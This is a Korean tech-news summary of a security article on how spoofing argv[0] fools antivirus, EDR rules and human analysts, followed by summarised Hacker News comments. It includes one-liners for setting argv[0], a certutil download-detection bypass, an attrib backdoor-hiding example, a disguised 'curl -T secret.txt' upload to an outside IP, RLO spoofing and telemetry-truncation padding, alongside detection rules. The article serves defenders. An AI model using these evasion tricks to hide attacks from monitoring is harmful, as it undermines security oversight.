GN⁺: 왜 argv[0]을 사용하나요?
(wietzebeukema.nl)- 커맨드 라인(명령줄)은 이상함
- Windows가 특히 이런 문제로 유명하지만, 대부분의 운영 체제가 명령줄을 구현한 방식은 보안 문제를 일으킬 수 있음
- 이 글은 프로세스의 명령줄 첫 번째 인자인
argv[0]
가 프로세스의 이름을 나타내도록 예약된 관습의 문제점을 설명함
argv[0]
는 과거의 유물임
- 프로그램이 시작될 때 명령줄 인자를 받아 프로그램 내부에서 접근 가능하게 해주며, 실제로 프로그램이 시작될 때 가장 먼저 제공되는 정보 중 하나
- 프로그램 실행 흐름을 변경하는 주요 메커니즘임
- POSIX와 DOS/Win32에서 채택된
exec
시스템 호출 패밀리를 살펴보면-
int execv(const char *path, char *const argv[]);
- 이 execv 함수를 호출하려면 실행할 애플리케이션의 전체 경로를
path
로, 인수가 포함된 벡터를argv
로 프로그램에 전달해야 하며, 상태 코드가 포함된 정수를 반환함 - 이 사양에 따르면 이 호출의 결과로 프로그램이 성공적으로 실행되면 다음을 통해 대상 프로그램을 호출함
int main (int argc, char *argv[]);
-
- 모든 C 표준에서
argc
는 음수가 아니며,argv[argc]
는 null 포인터이고,argc
가 0보다 크면argv[0]
는 호출된 프로그램의 이름을 나타냄 - 어떤 이들은
argv[0]
의 필요성에 의문을 제기할 수 있음- "새 프로세스는 분명히 자신의 이름을 알고 있는데 왜 호출하는 프로세스의 첫 번째 프로세스 인수로 전달해야 할까?"
- POSIX 환경에서는 프로그램이 심볼릭 링크를 통해 호출될 수 있어, 새로운 프로세스가 어떤 요청을 받았는지 알 수 있도록 돕는 장치임
- 예를 들어, Debian의
shutdown
과reboot
는 동일한systemctl
실행 파일에 링크되어 있으며, 호출된 명령에 따라 다르게 동작함
- 이것은 의심스러운 설계 결정처럼 보임
- "프로그램이 자신의 이름에 따라 다르게 동작해야 할까?"
- 현대적 관점에서 보면 소프트웨어의 예측 가능성을 낮추고, 현대적 설계 원칙에 반하는 것으로 보임
- 1970-1980년대의 관점에서는 컴퓨터 자원이 부족했기 때문에 중복을 최소화하려는 시도로 보일 수 있음
- 하지만 현재는 디스크 공간 문제가 크게 부각되지 않음. 예를 들어, macOS Sonoma에서는
shutdown
과reboot
이 별도의 실행 파일로 존재함 - 비슷한 두 프로그램을 하나의 파일로 통합하는 것이 정말 필요한지, 아니면 명령 인자 방식을 사용하는 것이 더 적합한지에 대한 논란이 있음
- 이 원칙을 받아들인다고 해도 구현 자체도 논란의 여지가 있음
-
argv[0]
의 정보가 프로세스 인자의 일부로 제공되어야 하는지 의문임 -
argv[0]
에 의존하는 프로그램은 호출한 프로세스가 이를 정확하게 설정하지 않으면 오류가 발생할 수 있음. - 보안 문제에 있어서
argv[0]
을 잘못된 방식으로 사용하는 프로그램도 있음 - 더 나은 접근법은
argv[0]
을 별도의task_struct
나 PEB 기능으로 분리하여 운영 체제가 이 값을 관리하도록 하는 것임- 이는 일관성 있는 추적을 가능하게 하고 조작의 범위를 줄임
-
- 이 작업에 가장 근접한 OS는 놀랍게도 윈도우임
- Windows는 다른 주류 운영 체제와 달리 새로운 프로세스를 생성할 때
argv[0]
을 설정하지 않음 - Windows의 API 호출(
CreateProcess
,ShellExecute
)은argv[0]
을 실행 파일 경로에 따라 자동으로 설정함 - 이 방식이 가장 합리적인 구현임에도 불구하고, Windows에서도 POSIX
exec
호출을 채택하고 있기 때문에argv[0]
을 수동으로 설정할 방법이 존재함
- Windows는 다른 주류 운영 체제와 달리 새로운 프로세스를 생성할 때
argv[0]
는 무시됨 (대부분의 경우)
-
argv[0]
의 중요성에 대한 당신의 입장과 상관없이, 현실적으로argv[0]
은 존재하는 개념이며 문제를 동반함 -
exec
호출 시 앞서 언급한 세 가지 조건 중 첫 두 가지는 운영 체제가 처리하지만,argv[0]
과 관련된 마지막 조건은 관리되지 않음 -
exec
호출자가argv
를 완전히 제어할 수 있으므로, 이 요구사항을 무시할 수 있으며, 운영 체제나 호출/호출된 프로그램 모두 이 위반을 체크하지 않음 -
argv[0]
무시의 예-
echo
를 사용해 _Hello, world!_를 출력하려면 일반적으로execv("/usr/bin/echo", ["echo", "Hello, world!"])
를 호출함 - 하지만
execv("/usr/bin/echo", ["oopsie", "Hello, world!"])
를 호출해도echo
프로그램이 정상적으로 실행되어 _Hello, world!_가 출력됨 -
echo
프로그램은argv[0]
을 무시하고argv[1]
부터의 인자에만 집중하는 방식으로 동작함 - 대부분의 프로그램이
argv[0]
을 무시하는 유사한 접근 방식을 취함
-
-
argv[0]
조작의 예- C 언어를 비롯한 여러 프로그래밍 및 스크립팅 언어에서
argv[0]
을 조작하는 방법이 제공됨:
python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])" perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"' ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')" bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'
- C 언어를 비롯한 여러 프로그래밍 및 스크립팅 언어에서
-
argv[0]
을 조작하는 것은 간단하며, 대부분의 프로그램 실행에 영향을 미치지 않음. 그러나 보안상으로는 문제가 있을 수 있음
argv[0]
가 방어 체계를 무너뜨릴 수 있음
-
argv[0]
은 보안 소프트웨어를 속이는 데 사용될 수 있음. 악의적인 사용자가 시스템을 손상시키면 공격자의 명령을 실행하여 시스템을 조작함 - AV 및 EDR과 같은 방어 소프트웨어는 프로세스 실행을 모니터링하고, 특정 명령이 해로운 것으로 판단되면 이를 감지하거나 차단함. 대부분의 솔루션은 공격자가 자주 사용하는 명령을 적극적으로 탐지함
- 예:
certutil
명령의 오용- Windows의 기본 내장 명령줄 도구인
certutil
은 공격에서 자주 사용됨. 초기 접근을 얻은 후 외부 페이로드를 다운로드하는 수단으로 활용됨. - Microsoft Defender Antivirus는 파일 다운로드 시도를 나타내는 명령줄 인자가 있는 경우
certutil
실행을 차단함. 하지만,argv[0]
을 공백으로 설정하여certutil
을 시작하면 Defender는 이를 차단하지 않음 - 이는 보안 감지가 프로그램 이름을 명령줄의 일부로 간주하기 때문에 발생하는 문제를 보여줌. 예를 들어, 감지 논리가
command_line.contains('certutil') AND command_line.contains('-urlcache')
와 같이 구성된 경우,certutil
이 명령줄의 일부라는 가정이 있음. 그러나,argv[0]
을 조작하여 감지 논리를 우회할 수 있음 - 효과적인 감지 논리는
process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')
처럼 구성하는 것이 좋음
- Windows의 기본 내장 명령줄 도구인
-
argv[0]
을 통한 감지 우회- 감지 우회는
argv[0]
에 튜닝 키워드를 추가하여도 가능함. 감지는 일반적으로 기본 조건과 추가 조건을 결합하여 오탐을 필터링함 - 예를 들어,
attrib.exe
가 파일을 숨기는 동작을 할 때 감지 규칙이 트리거될 수 있음. 하지만 실제로는desktop.ini
파일에 대해 합법적으로 자주 실행됨 - 이를 알고 있는 공격자는
argv[0]
에desktop.ini
를 포함하여 감지를 우회할 수 있음. 예를 들어,argv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']
처럼 설정할 수 있음
- 감지 우회는
argv[0]
로 속임수 가능
-
argv[0]
은 보안 소프트웨어뿐만 아니라 사람 을 속이는 데에도 악용될 수 있음 - 보안 분석가는 EDR 소프트웨어와 같은 보안 도구가 생성한 경고를 검토하며, 이 경고에는 관련된 프로세스의 명령줄이 포함됨
- 프로세스의 명령줄은 분석가가 경고를 추가 조사하거나 무시할지 결정하는 데 중요한 정보임
- 예: 명령줄 속임수
- 데이터 유출 가능성에 대한 경고가
curl -T secret.txt 123.45.67.89
명령 실행 시 발생할 수 있음. 이 명령은 파일secret.txt
를 IP 주소 123.45.67.89로 업로드함 - 동일한 시나리오에서
argv[0]
을curl
에서curl localhost | grep
으로 변경한 경우, 이는 여전히 유효한 명령이 됨. - 보안 소프트웨어는 명령줄 배열을 공백으로 구분된 문자열로 표시하므로, 이 경우 명령이
curl localhost | grep -T secret.txt 123.45.67.89
로 보일 가능성이 큼 - 분석가의 시각에서는
curl localhost
가 실행되고 그 결과가grep -T secret.txt 123.45.67.89
로 전달되는 것처럼 보일 수 있음. 이는 실제로는 원격 주소로 정보를 업로드하는 동작임에도 불구하고, 로컬 주소에서 다운로드하는 것처럼 오인하게 만듦
- 데이터 유출 가능성에 대한 경고가
- Right-To-Left Override (RLO) 문자 활용
- 악명 높은 RLO(오른쪽-왼쪽 재정렬) 문자를 사용하여
argv[0]
을 조작할 수 있음 - 이 유니코드 문자는 렌더링 애플리케이션에 이후의 문자를 역순으로 표시하도록 지시함
-
argv[0]
에 RLO를 삽입하면ping moc.elgoog.some-evil-website.com
을ping moc.etisbew-live-emos.google.com
처럼 보이게 할 수 있음 - 이 방식은 감지 논리에는 영향을 미치지 않지만, 분석가를 속일 가능성이 있음
- 악명 높은 RLO(오른쪽-왼쪽 재정렬) 문자를 사용하여
- 이와 같은 기법들은 보안 소프트웨어와 사람의 눈을 속여 악성 활동을 숨기기 위해
argv[0]
을 조작할 수 있는 다양한 방식을 보여줌
argv[0]
이 원격 분석을 손상시킬 수 있음
-
argv[0]
은 명령줄의 맨 처음에 위치하기 때문에,argv[0]
에 충분한 문자를 채워 넣으면 다른 모든 인자를 명령줄 끝으로 밀어낼 수 있음 - 이는 두 가지 이유로 문제가 될 수 있음: 먼저 흥미로운 부분을 명령줄 끝에 ‘숨겨서’ 분석가가 스크롤하지 않도록 유도할 수 있고, 더 중요한 점은 명령줄의 총 길이를 충분히 길게 만들어 모니터링 소프트웨어가 실제로 중요한 인자를 잘라내게 할 수 있음
- 명령줄 길이 제한
- Windows 7 이후로, Windows에서 명령줄의 최대 길이는 14,336자(약 14 KiB)로 제한됨
- Linux 커널에서는 최대 길이가 32 페이지 크기로 하드코딩되어 있으며, 64비트 아키텍처에서 약 131,072자(128 KiB)임
- macOS Sonoma는 최대 1,048,576자(1 MiB)의 명령줄을 허용함
- 이는
argv[0]
이 차지할 수 있는 임의 공간이 매우 많음을 의미함
- 원격 분석 손상 사례
- 프로세스 모니터링 소프트웨어(예: EDR)는 긴 명령줄 실행을 전부 기록하거나, 고정된 길이로 잘라내어 오버헤드를 줄일 수 있음
- 긴 명령줄이 전부 기록될 경우, 단순히 최대 명령줄 길이를 이용해 1,000개의 프로세스를 시작함으로써 1GiB의 로그 데이터를 생성할 수 있음
- 만약 잘라내기가 적용된다면, 명령줄 인자가 원격 분석에서 잘릴 수 있음. 예를 들어,
perl -e 'exec {"echo"} "_"x50000, "Hello, world!"'
명령은 “Hello, world!”를 출력하지만, 실행의 원격 분석에는 언더스코어들만 기록되거나, 경우에 따라서는 완전히 빈 명령줄이 기록될 수 있음 - 따라서 실제 중요한 명령줄 인자가 없으므로, 감지 논리와 분석가는 실제로 무슨 일이 일어나는지 파악하지 못하게 됨
argv[0]
의 위험성: 예방과 탐지
-
argv[0]
은 하나의 문제를 해결하려다 여러 다른 문제를 초래함 -
argv[0]
이 곧 사라질 가능성은 적으므로, 보안 관점에서 이를 다루는 방법에 집중할 필요가 있음 - 예방 조치
- 소프트웨어 개발자는
argv[0]
이 자신의 파일 이름과 일치하는지 비교하여 조작 여부를 확인할 수 있지만, 이는 확장성이 낮음 - 운영 체제가 이 검사를 더 신뢰성 있게 수행할 수 있음. 프로그램의 흐름을 변경하기 위해
argv[0]
에 의존하는 것은 매우 권장되지 않음 - 개발자는 가능한 한
argv[0]
과 상호작용하지 않는 것이 가장 좋음
- 소프트웨어 개발자는
- 보안 전문가를 위한 탐지 방법
-
argv[0]
의 작동 방식과 문제점을 인지하는 것이 명령줄 속임수를 방지하는 중요한 단계임 - 보안 소프트웨어가 명령줄 인자를 배열로 제공할 경우, 특정 패턴을 신뢰성 있게 식별할 수 있음
- 과도하게 긴
argv[0]
값이나 파이프 문자와 같은 의심스러운 문자를 포함한 값은 즉시 의심스러운 것으로 플래그를 지정해야 함 - 명령줄 인자가 문자열로 제공되는 경우에도 프로그램 이름이 포함되지 않은 명령줄을 플래그 지정할 수 있음. 이는
argv[0]
이 조작되었음을 시사함 - RLO 문자의 존재 자체가 대부분의 환경에서 높은 효율성을 가진 탐지 방법임
- 잘린 명령줄 인자의 경우, 보안 솔루션과 데이터 레이크가 이를 어떻게 처리하는지 이해하고, 생성된 원격 분석에 어떤 영향을 미치는지 파악해야 함
-
- 방어 소프트웨어의 개선
- 방어 소프트웨어는
argv[0]
남용에 대한 탐지를 개선해야 함. 의심스러운argv[0]
값으로 소프트웨어 실행을 차단하는 것이 가능해야 하며, 거짓 긍정을 유발하지 않음 - EDR 플랫폼은 명령줄 인자를 보고할 때
argv[0]
을 제외하는 것도 고려해야 함. 이는 이 글에서 강조된 대부분의 문제를 제거하며, 포렌식 가치도 대부분의 경우 낮음
- 방어 소프트웨어는
- 궁극적으로, 아무도
argv[0]
으로 인해 골칫거리를 겪고 싶어 하지 않음. 우리 소프트웨어도 마찬가지임
GN⁺의 정리
-
argv[0]
는 과거의 유물로, 현대 소프트웨어 설계 원칙에 어긋남 - 대부분의 프로그램은
argv[0]
를 무시하지만, 이는 보안 문제를 일으킬 수 있음 -
argv[0]
는 보안 소프트웨어와 사람을 속일 수 있으며, 텔레메트리를 손상시킬 수 있음 - 보안 전문가들은
argv[0]
의 악용을 탐지하고 방어 소프트웨어는 이를 더 잘 처리해야 함
Hacker News 의견
-
argv[0]을 읽는 것에 대한 반대 의견은 저자의 무지나 강력한 방어가 필요함
- busybox가 OpenWrt 박스에서 16MB 루트 파일 시스템으로 어떻게 작동해야 하는지 궁금함
- argv[0] 값을 쓰는 것을 제한하는 논의는 고려할 만함
- 공격자는 여전히 보안 조치를 우회할 수 있음
-
argv[0]은 수백 개의 명령어의 심볼릭 링크 대상이 되는 데 사용됨
- Android는 대부분의 일반적인 쉘 명령어에 대해 이를 사용함
- Toybox와 busybox가 그 예임
-
argv[0]을 사용하는 도구를 통해 컨테이너 내부에서 호스트 명령어를 실행할 수 있음
- 예: flatpak 명령어를 호스트에서 실행하도록 설정 가능
-
프로그램이 이름에 따라 다르게 동작하는 것은 문제가 없음
- 프로그램 이름을 호출 인수로 포함하는 것은 매우 유용함
-
argv[0]에 대한 반대 의견은 현대 설계 원칙에 어긋난다는 주장임
- symlink가 있는 경우 프로그램이 어떻게 호출되었는지 아는 것이 합리적임
- python은 argv[0]을 사용하여 virtualenv 내부인지 확인하고 검색 경로를 조정함
-
argv[0]은 보안 관점에서 특별히 나쁘지 않음
- 보안 소프트웨어가 argv 값을 인용하도록 수정하는 것이 더 나음
-
argv[0]은 문제없음
- 대부분의 사람들은 argv[0]을 사용하여 명령어 버전을 구분함
-
busybox는 'shim' 모드에서 argv[0]을 사용함
- 보안 문제는 SELinux와 같은 더 깊은 보안 메커니즘을 사용하는 것이 더 중요함
-
macOS는 여러 명령어가 단일 실행 파일을 가리키도록 설정함
- argv[0]을 사용하여 CLI 사용성을 개선하고 코드 중복을 줄임
-
argv[0]을 제거하면 유용한 기능을 잃게 됨
- 네트워크 보안은 네트워크에서 처리해야 함
- argv[0]을 제거해도 공격자는 다른 방법을 찾을 것임